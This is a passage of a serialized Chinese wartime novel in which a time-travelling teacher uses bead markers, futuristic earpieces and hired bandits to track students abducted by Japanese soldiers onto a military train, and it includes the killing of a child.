第141章 141 搜寻 六月一过, 学校正式迎来了学生毕业的高峰期。 为了宽限学生找工作,找住处,方校长特批过, 通过毕业考试的学生可以提前一个月跟老师报备, 不用每天来上课,这一个月时间就是给他们找工作的。只要报备过,到了七月,毕业生们直接可以来学校领取毕业证。 事发时间在周末放假的第二天早上,按道理,这样的情况,同时失踪一百多个学生, 学校不可能那样快发现。 但是,这些失踪的学生中, 有一个春妮交代过,被安插在山下友幸的互助会中。 因为山下友幸那天无意中说的那句话,春妮这段时间一直对他相当关注。 这个学生失踪的第一时间,就被报到了春妮这里。 她当即让李铁柱核实互助会其他成员的情况, 一核实下来不得了,连同毕业生和非毕业生在内, 这个互助会里大部分十五岁以上的成员都在同一时间失踪了! 这么大的事,校长立刻被惊动了起来,他紧急核查所有学生, 确定他们的位置。 而这个时候,春妮已经从当天没参加互助会的其他学生口中得知, 因为毕业季找工作有很多烦心事,他们互助会在下午放学后约在城边的小沐山,举行了一个远足谈心活动。 “胡闹!完全是胡闹!”校长气得吼出了青筋:“现在租界外面到处是岗哨, 出门就有□□贩卖人口,说过多少次,让你们别出去别出去,你们怎么就不听!” “我们会长说,他知道有条小路很安全,他带我们走小路。又说我们有一百多个人,没谁会不长眼色来打我们的主意。” 说话的学生当天因 为家里来了客人,要留在家里招待客人才没去。他又是后怕,又是担心:“我们真的不知道会出这样的事,校长,现在怎么办哪?” “你们会长说过,今天他会走哪条路吗?” “没有,他让我们到时候早点集合,一起出发。我们以前去南江公园,还有到植物园去玩,也是这样,一直没出过事。” “妈的!”韩厂长骂了一句粗口,随后一语不发,推出自行车往外走。 “韩厂长,你去哪?”校长紧张地拦住他。 “我他妈去问山下在搞什么鬼,他负责的互助会,是怎么把人都互助没了的?”员工入职时需要填报住址,山下也填报过。有学生后来去过他家,证实过这个地址是真的,就在两条街外的川陕路里弄。 “那你现在去问,能问出什么结果?”韩厂长脾气暴燥,校长怕出事,死死把住他的车头,不敢放他走。 “校长,你让他去吧。”春妮说道:“这种时候,找到山下比不找到山下好。” 现在是周末中午的十二点钟,距离学生失踪已经有了半天时间。 春妮不知道山下有没有直接参与到这次活动中,但假定是他出现并带走了学生,有可能跟学校剩下的人产生直接联系的,他们只知道一个山下。 谁也不知道,剩下的人中,有没有山下的眼线。显然,这种时候,让他在自己人眼皮子底下活动,比放他到处乱跑,不知会干出什么事要好。 校长很快想明白了这个道理,他让韩厂长到保安队点人,点了十几个带枪的小伙子,气势汹汹地直扑两条街外的山下家中而去。 与此同时,春妮问明白那些学生集合的地点,带着剩下的人坐上卡车沿途开始搜寻。 “小顾老师,你觉得,那些同学可能会去哪?” “还能去哪?男的卖去东南亚做苦工,挖煤矿,女的到城西的下等娼寮,卖到外国跳小脚舞,难道真以为人家绑架他们出去做大爷?” 春妮也是气狠了,千防万防,校长该说的也说了,该警告的也警告了,还是没防住这一出。怪谁? 她每说一句,听见的学生脸色就白上一分。特别是那几个被他们带上车协助找人的互助会学生,已经怕得哭了起来。 吓唬归吓唬,春妮却觉得,如果作案的人是山下,他忍受几个月的白眼,筹划这么久,不至于就为了干人贩子的事。 想贩人卖人,海城那么多流民,每天拉几大车都没人管,何必非要盯上他们学校的学生? 一定有其他原因。 学生们也在猜测:“你们说山下绑了人,他们会往哪走?” “还能往哪?肯定走水路啊,现在倭国人把持着水道,一路上都是他们的人,走水路多方便。” “那他们是会出海,还是从吴江走?” “停车!” 春妮跳下车,在墙角处找到了她想要的信号:“不是出海,也没有去码头,他们往城南去了!” 出海要往东走,吴江码头横贯东西向,他们这个方向没有水路通往城南。 ………… 在春妮他们发现学生失踪,并开始四处寻找的时候,某一处仓库。 “怎么样,喜妹,看出他们有多少人了吗?” 叫喜妹的人回过头,这是个长着张娃娃脸,看上去只有十一二岁大的女孩子。 可在坐的学生们都知道,喜妹今年已经十七岁了。如果不是这一路有她小心周旋,可能他们会多受很多罪。 喜妹摇摇头:“只能看到窗户这一面,有七八个人,每个人都带着枪。” “只有七八个?那——”问话的学生目光亮了亮。 “别想了,那些人穿着黄皮子,全是倭国兵。”不等他说完,喜妹就无情地打断了他们的幻想。 “什么?全是倭国兵?他们到底想干什么啊?” 他们想干什么,喜妹也想知道啊。 自从去年顾老师安排她和其他几个同学潜伏进互助会之后,他们已经料想过今天的局面,并跟其他几位同学都作了各种假设应对,但没想到的是,其他同学这次都被排除在外,而成功混进来的,最终只有她一个。 看来那个倭国人虽然不经常在互助会里出现,对它的掌控分毫不少。他一定在会里安插的有自己人,而她的那些同学,包括跟保安队那群人走动得略近一些的,全部被他们想办法将其排除在这次的行动之外了。 至于自己……也许是山下觉得自己没什么威胁,就顺便带上了自己。 不…… 她想起小顾老师以前那些动作,现在都仿似带有了深意。也许那几个同学的处境小顾老师料想过,所以她从来不直接找自己问话,在学校里碰见之后,也刻意拉开距离。以至于所有人都忘记了,自己是在去年招生季亲自从街上被小顾老师捡进了学校,所以…… 难道小顾老师一直是将希望寄托在她身上? 不止是山下觉得喜妹不足为虑,现在就是喜妹自己,也不知道她还能再做什么。 因为这次远足活动集合没多久,会长就以他借到了一辆卡车为由,把同学们全部骗上了车。 如果不是她心里一直有所警惕,上车后主动坐到车厢最外面,想办法丢了几样东西作记号,恐怕茫茫人海中,即使是顾老师,也很难再找到他们的线索吧。 但她也无法确定,她仓促中扔下的顾老师特意交给他们,让他们好好保管的红色木头珠子会起到什么作用。 “我想回家。”有年纪小的学生已经哭了起来。 “不许哭,你们想把那些倭国人引来吗?”有人捂住了那孩子的嘴。 而就在这时,大门打开了,一个穿高筒靴,配武士刀的军官走了进来。 “你们的,哪些是木工?” 同学们面面相觑,没人敢说话。 军官哼笑两声,走到最矮的学生面前,抽出军刀,突然一刀刺穿了他的肚子! “小孩,没用的,死掉。”他冷淡地说。 说完,他很快拔|出刀,用手帕擦拭刀上的血迹,不再看倒地的孩子一眼,就像躺在那里的只是一只鸡,一条狗。 直到这个时候,其他人才尖叫出声:“啊啊啊啊!!” 军官冷下脸,伸手摸向腰间的枪:“再吵,杀掉。” 他的声音几乎被尖叫淹没,可在他摸枪的那一瞬间,即使是最胆小的女孩子,也死死捂住了自己的嘴,将所有的恐惧都关了进去。 “你们的,谁是木工?”他重复了一遍之前的问题,见大家都盯着地上的尸首发傻,补充了一句:“有用的,不杀。” 这下所有人都听懂了,木工科的同学们争先恐后地说:“我是,我是。” “停!”他猛地举起手:“木工,到这边,其他人,不许多(动)。” 自从那个军官突然抽刀杀人,喜妹就傻掉了。这个年代死人很正常,她不是没见过死人,可那些都是悄无声音病亡在街头的流民,像这样直白面对一个人被另一个人刺死的场面,是她有生以来第一次。 而这个被杀死的学生,今年不到九岁,她在两分钟前,还跟他说过话,还温言安慰过他! 她着了魔似的,无法将视线从那滩还在流动的血液中拔起来,而那个孩子的身体仍然在血泊中微微搐动…… 有人忽然挽起她的手,把她拉得一个踉跄:“快站过去!” “我——”喜妹手臂被狠狠掐了一把,她触电一般,终于醒了过来。 她看到,木工的这一边,是一百余只待宰的鸡,而另一边,空空荡荡的,一个人也没有。 “有不老实的人。来个人告诉我,是谁?”军官冷笑着,又一次拔出了刀。 泛着冷光的刀尖微转,指向他们。 他的刀尖每指向一个人,那个人就缩着脖子,恨不得自己原地消失,可仍然没人说话。 军官脸上渐渐布满了不耐之色,这时,他的刀尖指到了喜妹。 她看见站在她旁边的会长似乎忍耐不住,就要—— 喜妹不知怎地,产生了一种强烈的冲动,这冲动迫使她张开嘴—— “我们都是的,”她哆嗦着,不知道有没有把话说囫囵: “我们放假都在学校的工厂里打工,我们都会木工。” 军官的刀尖一顿,长久地停在喜妹面前。 终于,他从鼻子里又哼笑 一声:“随便你们吧,有人会揪出你们这些小虫子。”收起了刀。 “啪”,一滴汗从喜妹的鼻尖滑下。她这才发觉,自己的后背已经被汗湿了。 众人目送军官的背影消失在门外,直到听见一声长长的汽笛声,不约而同瘫坐到了地上。 这些倭国人不是人,顾老师,你还是别来救我们了……她呜咽一声,将头埋在了胳膊里。 喜妹的哭声很快被淹没在了一大片的抽泣声中。 而与此同时,春妮他们通过一路的搜寻,终于将目标锁定到一个地方—— 城南火车站。 “怎么是这里?”看清眼前的情形,众人心中一沉。 第142章 142 斗争 喜妹随身携带的红色小木头珠子是用印刷厂特制的彩墨染成, 原本用来作开发新品的样品摆放。研发完毕之后,这些不成功的样品没有了其他用处,被春妮要来发给保安队和安插进互助会的学生, 防的就是像今天这样的情况。 一看到那颗信号一样的红珠子, 春妮就明白了学生们被带走的方向。通过一路的追踪,她几乎可以肯定,学生们就在这里面。 海城南西北方向共有三个火车站,其中城北在英国人手中,客货两运都做,城南则控制在倭国人手里,只负责运送军需物资, 并把守着重兵,全盘军事化管理。因此, 城南火车站常年驻守倭国军队,方圆二十米开始戒严,出入凭证件,并严禁华国人在附近出没。 无巧不成书, 偏偏这三个火车站中,春妮最熟悉的, 就是眼前这一个。 只因这里正是她刚来海城的那一年,以及其后的一两年中冬季煤炭获取的主要基地。 因而春妮知道,这里看似防守严密, 却不是一点空子都没法钻。 但火车站把守的百来个倭国军人不是摆设,加上时不时来回巡逻的倭国军车, 即使是春妮实力全盛时期,也不敢说自己能够成功闯进去,再完好无损地把人救出来。 或许是想到这一点, 那些掳走学生的人根本没怎么掩饰。不管是什么人,进了这座堡垒,就算拉来一个师团的正规兵力来攻打,也不一定能够夺取下来。何况她手上这几个没见过血的娃娃兵? 而且他们要救的,足有一百多个人。怎么可能不惊动这里面的人? “顾老师,那咱们现在怎么办?” 春妮内心也在激烈斗争。她自认自己是一个绝对理智的人,如果是末世的她,遇到今天的情况,发现事有不可为,绝对会毫不犹豫地转身离开,或是再寻找别的机会。 可……她离开时,方校长那痛心焦急的眼神总是在她脑海中闪现。 这些人既然把学生带到了火车站,那就说明,他们随时会被装上火车,不知被带到哪去。 方校长这个性情温厚的中年男人把每一个学生都当成了自己孩子来疼,如果让他知道这些学生的下场,他是真会气死过去。 倭国人防守如此严密,显然掳来这些学生有大用。 今天被带走的这一百多个学生中,他们大多数人虽说是毕业生,可才十一二岁的比比皆是。因为家庭重负,他们不得不提早毕业养家。他们不是跟前世的自己一样,无父无母,死了一身轻松的孤儿。 她看着这些跟她一起来的学生,一共四十六人,几乎是学校保安队的所有中坚力量。可他们中最优秀的人,也只是在耙场中打出连续九个十环的好成绩,从来没上过战场。 这次的行动跟去年冒险送煤不一样,那时候他们只需要躲避封锁最紧的地方,将煤送过对岸便是完成了任务,而这次营救学生,极有可能直面一百多个上过战场杀过人的倭国士兵。 这一次行动的危险等级呈指数上升,跟以前的小打小闹完全无法相提并论。一上手就是地狱级别的任务,这真的好吗? 春妮心中天人交战,但这个“撤”字,滚在她的舌尖上,始终无法吐出来。 春妮如果真的就此撂手,这些孩子百分百以后就再也见不到了,这对他们身后的家庭,也将是沉重的打击。 她选择如实告知他们自己的预测,最后道:“跟以前一样,我不勉强大家跟我一起行动。给你们一分钟时间,想清楚了再跟我来。我再强调一遍,这不是以前的小打小闹,包括我在内,我们谁都有可能被倭国人杀死。” 可她刚说完,罗阿水站到了她旁边,李铁柱也跟了过去,在他之后,又有几个学生站了过去。 “你们——”春妮无奈中又有些感动,她想说,这不是讲义气逞英雄的时刻。 可就在这时,一个叫申庆友的学生道:“顾老师,让我们试试吧。关在里面的,都是我们的同学朋友。我们都知道,被倭国人抓住会是什么下场。要是让我眼睁睁看着他们陷进魔窟,什么都不做,恐怕这辈子我都不会安心。” “对啊,试试吧。”其他人都纷纷表态,没人愿意退出。 “……” “好,那我们就试试。”春妮终于下定了决心:“如果实在无法营救,大家立刻撤回来!” 与此同时,她在心里做好了另一个决定。 众人很快商讨出一个相对安全的方案,这四十六人分成五队,其中四队,沿铁路线方向往外走出两公里设伏,想办法混到最近从火车站出发的列车上,而最后一队由罗阿水亲自坐镇留守原地,负责监视火车站的情况,并待命支援。 分配完毕之后,春妮单独叫过这五队中的队长,掏出一把糖豆似的小耳机分给他们:“把这个东西戴到耳朵上,” “这是啥?”大家好奇地抓起来问。 “这咋用啊?” 跟以前一样,李铁柱什么都没问,抓起耳机,将之挂到了耳朵上。 其他人见状,学着他的样子,笨手笨脚地也挂上了耳朵。 李铁柱以为手上的这枚小耳机跟以前一样,是顾老师从港城或是哪里搞到的新鲜玩意,哪里知道,这个无线通讯耳机来自于未来,虽然跟今年美国摩托罗拉新发行的无线对讲机是一个原理,但它无论信号强度,续航能力,还是通话距离都远超现在的最好设备数十倍之多,只需要一枚锂电池,就能接收到方圆五十里以内的信号。 它跟现在的科技代差足有百年之远,是现在的科技无法理解,也无法复刻的孤品。 春妮原以为,凭借自己对人类的戒心,这些来自前世的东西将会陪着她孤独老死。哪怕她不用,也不会拿出来交给别人,让别人有对她来历起疑的机会。怎么也没想到,自己还有主动拿出它,让它为其他人服务的一天。 原来,不知不觉中,她竟改变了这么多。 任务分配完毕后,春妮教会他们使用耳机的方法,拒绝其他人的陪伴,独自一人跳上卡车,开着它,中途回学校找校长要了两千块大洋,随后,一路风驰电掣地通过哨卡防线,直奔她此行的目的地而去。 这 么多行动人员中,只有她和罗阿水跟倭国人真刀真枪干过。她如果不想送死,必须寻找外援。 两个小时之后,她见到了此行想见的人——涂铁柱。 说起来,这一二年间,春妮跟涂铁柱两人都知道彼此的存在,最近的时候,只隔着一座小山坡,正式相见却是第一次。 “你说让我帮你去救人?我咋知道,你说的是不是真的?”虽说有三年前同行一路的缘份,涂铁柱那段日子一直跟几个伤兵打得火热,同春妮几个姑娘家交情都一般。 但春妮既然来了,就不容许让自己空手而归。 她道:“我不白请大哥们走一趟,事成之后,我自有重谢。”说着,她打开手提的小皮箱:“这是定金。” 里面白花花的大洋一打开,耀花了人的眼。 涂铁柱呼吸浊重了一瞬间,但他很快冷静下来,仍是摇头:“不行,妹子,不是大哥我不帮你。你也跟我说了,那边有一百多个倭国军人,凭我山上的这几个歪瓜裂枣,就是去了,也是给人送菜的份。” 春妮看着他的表情,心里更加有数,叹了口气:“大哥何必如此谦虚,我既然敢来找大哥,自然有我的道理。大哥山上藏着少说有七八十号见过血的汉子,再怎么也比我那几个孩子兵要强吧?” “你什么意思?你调查过我?”涂铁柱眉毛立了起来。 春妮心中焦急,她的无线电耳机里,已经有人通报,说那些学生被强制赶上了火车,随时都会出发,不知将会被带到哪去。 她说:“我何须调查?来张庄这么多回,我随便听两耳朵,什么听不到?” “他娘的!”涂铁柱咬牙。 “涂大哥,我知道你是个好人。他们说,以前那些去张庄收税的倭国人都是你们帮着赶走的,我也不问大哥你是怎么在倭国人眼皮子底下藏住的这些人,养起的这支队伍。我是真的没有办法了,只能找你帮这个忙。” 她的意思很明白了:如果我真的想跟你过不去,凭我摸到的这些秘密,你没法子安稳过到现在。 涂铁柱脸色阴晴不定:“我手上弹药不够。”已经不再像之前那样斩钉截铁。 “我有!”春妮立刻道。 这次出来,她让学生们把商团里配发的枪支弹药全部都带了出来。万国商团挂着英国人和租界武装的名义,英国人在海城有自己的运输通道,只要有充足的经费,每年可以光明正大采购无限量军械。 春妮向来在这一点上不吝啬,她的远期打算是,争取每个登记入会的学生至少配发一支枪,一个弹匣,因而她在入会时就鸡贼地利用万管家的权势,将学校每个在册的学生都登记了进去。但真正每天操练入会的学生只有保安队的固定成员,到目前为止,他们每个人实际能领到的枪支都在三把以上。 这下,涂铁柱什么借口都没有了。 春妮安慰他道:“我又不傻,不会真的让你们去送死。你瞧,我自己都准备跟你们一起去呢。” 一番软硬兼施,涂铁柱悻悻道:“那你说好的报酬?” “到时候如数奉上,那我们现在就出发吧?” “出发。” 第143章 143 试试 待到涂铁柱点齐兵马, 一行人带着家伙什赶往市区,还没进市区,遇到来接应春妮的申庆友等几人。 春妮当即把卡车交给几个人, 让他们带着涂铁柱这一车人马留在城外随时待命。她自己则换乘申庆友从旁处借来的汽车, 再度往城南火车站赶。 根据耳机里的汇报,那些学生们虽然上了车,但车子还在加水加煤装货,没有马上出发。 她带着七八十条精壮汉子,每个人身上都还满满当当挂着武器,想进城,想接近火车站, 除非那些设卡的倭国人同时都瞎了,否则怎么可能? 一路奔波, 天色挂黑,春妮再一次赶到了城南火车站。 驻守在原地的罗阿水一组已经焦急万分,一个多钟头之前,他们听见火车站里有哭声, 绕到远处看了看,果然学生们在被他们用枪指着, 一个个正在排队上车。随后,他将耳机交给了去接应春妮的申庆友,在没有其他人来通知他之前, 只能在火车站最外围的地方盯着那列火车,什么都不好做。 而现在, 视线范围内的那列火车已经鸣响汽笛,缓缓地开动了起来! 好在最后时刻,春妮终于赶了过来。 “上车!”春妮来不及把车停稳, 让五六个留在原地的学生全挤进了后座。一踩油门,汽车如离弦之箭,向着那列缓缓开出的列车衔尾而去。 ………… 三个钟头后,春妮侧身蜷在木头箱子里,听着哐当哐当的铁轨压路声,数着自己的心跳,慢慢平静下来。 幸好这个时候的火车速度不快,才让她有机会跳上来。 跟她一起来的人中,还有三个人都上了火车,但只有她一个人成功进入了车厢。 这个年代火车时速不快,因而跳车这事在这个年代很平常,任何一个胆子大一点的孩子都可能扒过火车。事实他们几个做的时候惊险万分,如果不是有其他队伍赶上来配合,他们差一点被倭国人发现,吃了子弹。 因为这列火车的防守异常严密,不止车厢中配有重兵来回巡逻,每节车厢的车门旁边还焊着铁制站栏,每个站栏里都站着一个倭国兵在值勤,就连火车尾端都设了个小阳台由两名倭国兵交替巡逻! 这种情况下,如果没有其他手段,他们是不可能不惊动倭国人成功混上车的 。 他们这一组有个住在铁轨旁的学生告诉春妮,这段方向的铁路只有在城中的这一段有公路并行,等出了城,两边都是稻田,还有山坡隧道等更加复杂的路况,到时候就算他们的车加满了油,也不可能跟上去。 春妮兵分两路,一路继续跟着火车,另一路另外乘车,提前在城外的隧道处等着,最后是借着夜色的掩映,跳到了火车的顶端成功登陆。 所以,就算他们现在上了车,也不能轻举妄动。 他们所在的车厢里充满了一种木材胶合剂特有的刺鼻味,也不知道这些倭国人运这么多胶合剂干什么。还有她的那些学生,失踪的大部分都是木工科,难道跟这一批胶合剂有关? 春妮不自觉发散着思维,耳边听着笃笃的脚步声,重新安静下来。 “妹儿。”眼前霍然一亮,是有人揭开了她脑袋上盖的木帘子。 头顶上的人戴着顶倭式有檐军帽,对她笑得五官挤成一坨:“我试过了,你妹子在的那个车厢,我进不去。那些倭国人可凶了,我一动就拿枪指着我,我可不敢跟他们说话。” 就知道会这样。 春妮在心里叹了口气,这个笑得特别猥琐的家伙正是从大前年开始就跟她合作,偷了火车站几年煤的伪军之一王二子。 说来也巧,当她打开火车顶端的气窗,从上面钻下来时,守在车厢接口处的倭军就是他。 当年他的一泡尿,打通了他们这伙伪军倒卖物资的任督二脉,对第一个客户春妮总是有些不一样的。 凭着这点交情,王二子才没叫起来惊动别人,但他们的交情也就仅限于此。如果不是车里时不时有来回走动的倭国兵,春妮怕增加暴露风险,也不会找他打听情况。 这些伪军毫无忠诚可言,尤其春妮掌握着王二子的秘密,他估计比春妮自己还害怕暴露,都没怎么用她威胁,就答应了帮忙找到这些学生。 好在王二子虽没见到人,总算顺利探知到那些学生们被关押的车厢,以及附近几节车厢的兵力分布情况。 正如王二子所言,这列火车连车头在内,共有二十九节。后边的二十节由伪军把守,包括火车头在内的前九节,一列车厢至少四个兵,全部是倭国人。 倭国人在发动战争之初,就一直面临着兵力不足的困境。王二子也告诉她,平时他们运送物资一般都是伪军和 倭国人杂合在一起行动。像木料这些不怎么重要的物资由他们看守,而其他重要的东西,全部是倭国人自己把守,当然,搬运的活,还是伪军来。彼此很少交谈,也不相通。 而学生们在的车厢是第七节,正处于倭国兵把守的车厢正中央靠后位置。 说完这些,王二子还劝她:“妹儿,这回你晓得了吧?那些娃娃们周围到处是倭国兵,真的救不得,你趁现在没人,还是赶紧回去吧。他们一会儿停车,要上来搬货,发现了你,我们俩就全完了。” 春妮给了他几块大洋,道:“大哥就当没看见过我吧。”说完,攀着旁边的木头,钻出了气窗。 王二子张大嘴,看这姑娘泥鳅似地钻出气窗,一个挺身就没了影儿。 “我滴个乖乖,这么俊的身手,真是来救妹妹的?” 半晌回过神来,挨个儿将白花花的大洋咬过来,眯起眼找了个地方打盹:“有钱赚,老子管她是哪来的,都是老子的爹。” 春妮爬上车顶,罗阿水三个忙凑过来问:“怎么样?” 因为火车的气窗过于狭小,只有春妮一个人能够勉强通过,他们只好留在车顶等候消息。 春妮将情况简单说了说,四个人只觉愁上加愁:“看守得这么严,可怎么救啊?” 现在火车两边夹着山坡,山风从顶上呼呼地往下灌,四个人坐不住,只得趴下来眯着眼睛商量。 春妮在车顶上吹了会儿风,望着两边飞快倒退的青山和树林,冷静下来:“都到这儿来了,不管怎么说,也得先试试。” 这时罗阿水示意她往下看:“这些倭国鬼子受不得冻,都进去了。” 春妮顿时直起身子:“那还等什么,快爬过去!” 四个人在山风的掩护下飞快往前爬,直到在倭国人和伪军交界的第十节车厢停下。 “你们有没有闻到什么味?”罗阿水抽了抽鼻子,问另外三个。 他是猎户出身,对气味相当敏感。其他三人摇头,罗阿水有些不安地道:“我好像闻到了一股子硫磺味,这些倭国人,难道运的是军火?” “啥?什么军火?”申庆友的声音从频道里传了出来。春妮留他跟涂铁柱在一起方便联络。因为没有定位功能,几处人马只能凭借对周边景物的描述保证不跟丢。 “我觉得不像是军火,没有黄铜的味道,倒像是火|药。”春妮谨慎地说。 “是火药的话,那咱们岂不是没法炸铁轨了?呃,是涂大哥让我帮他问的。”自从肯定学生们上了这列火车后,涂铁柱一直怂恿春妮他们炸铁路,可铁路一炸,那些倭国人不就知道有人捣鬼了?他们马上就要面对一整列火车的正规军围攻! 因此,春妮没搭理他。这个涂铁柱,还是她记忆里的涂铁柱,莽的很。 但是火药的话 ,春妮就不太放心让别人跟上来了,他们这完全是在火|药堆上起舞,万一有个擦枪走火……她叫这三个仍在原地待命,自己一个人朝第七节车厢爬过去。 ………… 第七节车厢 喜妹正在做梦。这些倭国兵似乎真的不像是要虐待他们,等他们上车之后,还一人发了两个馒头跟两片咸菜。 这一个白天,她经历得太多,不管内心有多少恐惧,体力在这时也到了极限,因而吃过馒头,一上车没过多久,她就睡了过去。 受了这么大的惊,睡觉自然也不可能安稳。几乎是一睡着,那个倭国军官就在她身后狞笑着追了过来。喜妹哭叫着,眼睁睁看那滴血的军刀戳在她的手上,一下,又一下,再一下…… 然后,她醒了。 一粒小石子从她手背上滑下来,喜妹愣愣抬头,然后就看见了—— 她猛地捂住自己的嘴,眼泪却控制不住地从眼角迸流而下。 “小顾老师。”她无声地喊。 车顶上的小顾老师鼓励地冲她笑笑,她站起来,往前走了两步,才想起来去看其他人。 然后松了口气,现在已近深夜,这些同学们跟她一样,白天经过大惊大吓,现在都好好地睡着了。刚刚的动静,并没有惊动别人。 喜妹摒住呼吸,看小顾老师用一根细线吊下一样东西,示意她取下来,戴到耳朵上。随后,她的脑袋缩回车顶,看不到了。 喜妹直直盯着气窗的方向,心里忍不住一阵失落,这时,声音却从耳机里传出来。 “喜妹,现在你找个清静地告诉我,你们有多少人受伤,行动能力如何,这节车厢附近分布有多少倭国人,他们每隔多长时间巡逻一次。还有,你们的目的地,下一站到站的时间和地点,如果都能打听出来会更好。” 喜妹按着嘣嘣跳的心,将头发揉得蓬乱,直到挡住耳朵,才深深地吐出一口气。 第144章 144 跑 两天后 随着耳机里一声:“我们下车了。” 春妮一个手势, 所有人也默契地跳下车,散入了人流之中。 那天,春妮原本想从气窗下去, 直接混进学生里借机行事, 但涂铁柱和罗阿水他们都觉得太冒险了,没有同意。 春妮想想也是,这些学生中人多嘴杂,万一坏了事,的确麻烦,便跟罗阿水几个人找机会先从火车上退下来,顺着喜妹的指引, 一路追踪到了这里提前等候。 途中他们数次想下手,可都碍于手头没有足够的交通工具, 以及时机等问题,迟迟没有下手,一直拖到现在。 以前春妮曾看过一个叫《铁道游击队》的电影,本以为就算没有像电影里那样举重若轻, 也不至于难到哪去,但轮到自己之后, 才知道方方面面都要考虑到位,到底有多难。电影中的人有地利之便,还有相对充足的准备, 而他们只有匆匆忙忙追出来的这几十号人和几十条枪,想兵不血刃地救出人来, 只能说是痴人做梦。 何况春妮那天在下车前,将整座车厢都摸了个底,只怕倭国人守着的这九节车厢中, 除了装学生的那一节,其他七节都装的是火油火|药之类的东西,他们若是用枪硬来,运气不好的话,一个火星子就能把整列火车都给炸飞。 投鼠忌器之下,大家的行动计划改了又改,最终决定等到他们下车再说。 幸好,这列火车中途偶有停靠,让他们有更多的时间追踪。这些学生被装在集装箱似的火车里闷了两天,总算是到了目的地。要是再拖两天,就算人成功救了下来,汽车的汽油见底,他们也回不去。 春妮听着这里的口音,应该是在东海省某地。 东海省地处平原,易攻难守,早在三年前,春妮逃水灾经过时,这里就已经落入了倭国人的魔掌,是华国南方沿海地区中,倭国人掌控最深的地区之一。 在这里,倭国人早在三年前就建立了相对严密的保甲制度,在这里想进城,只能凭当地保长出具的良民证进出。 他们这些身怀武器的丈八汉子只怕走不进一百米,就要被城门处的伪军给捉起来。 这些倭国人选择将学生带到东海省,的确是选了个好地方。 而春妮他们提前守在这条铁路线前方的二十里处,眼睁睁听喜妹说,学生们被押下火车,押进了城,不敢轻举妄动。 “别着急,这城这么小,他们带来这么多木工,倭国人不可能留他们在城里,咱们再等等。”耳机里,申庆友转达涂铁柱的意思。 这莽夫几次在路上要毁铁路,这会儿尘埃落定,反而镇定了下来。 春妮听着喜妹那边的声音,感觉她的情绪比较稳定,果然没过一个小时,喜妹说,他们换了辆大卡车,又不知要被转运到哪去了。 东海省千里沃野,一望无垠,现在又是白天,考虑这里是县城,一个县都未必有辆好车,他们的车子不好跟,春妮让喜妹随时报告动向,只是让卡车在后头二里地外远远坠着。 现在已是六月底近七月的时节,两边都是农 田,田里的稻子被压得沉甸甸的,一眼望过去,连二里地外的倭军小岗楼都看得明明白白。 这时,申庆友也在耳机里转达涂铁柱的意思:“不能再跟了,再跟,那边岗楼里的小鬼子就要出动了。” 倭军驻守的人数少,通常在数个村镇的交通要道之间会建起岗楼负责瞭望。 春妮拿出望远镜望了会儿,果然岗楼里人影来回,不一会儿隐隐有摩托车发动的声音传来。 她只能让李铁柱径直开过去,看远处那几辆军车徐徐转弯,跟他们越行越远,渐渐拉开距离,看不到了。 “先藏好车,到晚上再说。”涂铁柱在耳机里说:“这地方我三年前回家乡时来过。要是我没猜错,他们去的方向陆安省交界,那地方有座大山。到时候我们往那找过去准没错。” “涂大哥,那你知道有没有别的路绕过去?”春妮不愿意坐以待毙。 她跟喜妹离得太远的话,耳机收不到她的信号。这不止会让春妮没有安全感,也会让那些好不容易被安抚下来的学生们重新燥动起来。 这几天学生们同吃同住,喜妹还要保持跟春妮联系,她一个人瞒不过这么多人,只能找几个帮手给她打掩护。学生们得知老师和学校没有放弃他们,还在追踪,都深为振奋,还有一位会倭语的学生主动找倭军搭话,帮助春妮他们了解更多的消息,这才令春妮将学生们的情况时时掌握在手中,做到心里有数。 “我想想办法。”说完这句话,涂铁柱将耳机还给申庆友,吩咐旁边的人:“别从这走,调个方向,朝那边拐。” 涂铁柱行动的时候,春妮这里也没闲着。 他们数辆车前后跟着过于明显,她干脆让其他人停下来先找来几驾马车,问附近的农民买来几身破衣裳和草帽换上,赶着马车朝涂铁柱离开的方向追去。至于他们带来的车则分散开,在更远的地方坠着待命。 即使村路颠簸,车子开不快。骡马全力行驶也勉强使得,春妮这一追,还是追到了晚上。 这个时候,不需要别人指路,她也看到了对面那座大青山。半个多小时前,喜妹告诉她,倭国人的车队已经进了山。 “哎呀,”喜妹突然在耳机里小声惊呼:“车子停了,前面有两棵树倒在了路上。” 一刻钟前,涂铁柱让申庆友转告她,说这座山他以前翻过好几次,准备加速开过去,在前面给倭国人军队找点事做,想必这两棵树就是他的手段。 不过,想起他随后说的:“那些倭国人好像在山里秘密盖了什么,我先去看看。” 春妮心中隐隐不安,她想叫涂铁柱别多事,救了人就走。但对方那性格一莽起来,哪肯听她一个小丫头的话。还嫌她念叨得烦,当即赶申庆友这个耳报神下去坐了后面的车,自己带着几个亲信,只开着辆四厢轿车,一头扎进了莽莽密林之中,到现在都还没有消息传过来。 骡马进了山约有半个钟头,春妮听见了前方倭国人军人特有的说话声。 她挥挥手,几人跳下马车,扎紧畜牲的腿脚,猫下腰就地隐蔽,朝说话的方向走去,那里也是现在唯一的光源所在地。 春妮借着夜色看了下手表:九点二十三分,林深叶密,难怪天黑得伸手不见五指。 再走五分钟,眼前豁然开朗。 一队足有七八辆大车的倭国队伍塞满了整个山道。 找到了。春妮轻轻舒了口气。 沙沙的山风吹过树巅,从他们埋伏的方向看过去,那辆装着学生的车在正中间。有几个趴在车沿上往外看,那些倭国人也没管他们。好像他们有一辆车的车胎爆了,这条山道路狭得很,不换好车胎,后面的车休想再重新出发。 春妮按住耳机:“喜妹,你让尤丽丽跟倭国人说,你们有人晕车,要下车透气。”尤丽丽就是学生中唯一一个会说倭语的孩子。她家道中落,小时候跟着父亲去倭国做过几年生意。父亲破产身亡之后,家产被旁亲哄抢,她流落街头,跟喜妹一样,是被春妮捡回的学校。 喜妹非常聪明,她闻弦知意,差点激动得叫出来:“小顾老师,你——” “快点。”春妮结束通话,开始给其他人布置任务。 尽管这队倭国兵下火车之后经过几次分兵,兵力已经至少削减了三分之二,但他们后来应该是又带走了县城的一部分兵力,总人数仍然在五十人左右。 现在涂铁柱带的那队人跑得无影无踪,春妮手上只有保安队六十来个人的力量,要面对半个中队的倭国军人,压力还是相当之大。 春妮吩咐完毕,车队里的学生们立刻有了行动。 尤丽丽探头说了几句话,不一会儿,卡车的后厢盖放开,三三两两的学生们涌出来。而喜妹按照春妮的指示,将他们往这个方向引。 一切行动都很顺利,急着赶路的倭国人并没有发现学生们的小动作。 不过,这也跟他们想象不到世上还有春妮手上这些作弊器的缘故有关。 眼看学生们越走越近,即将走进林子当中。 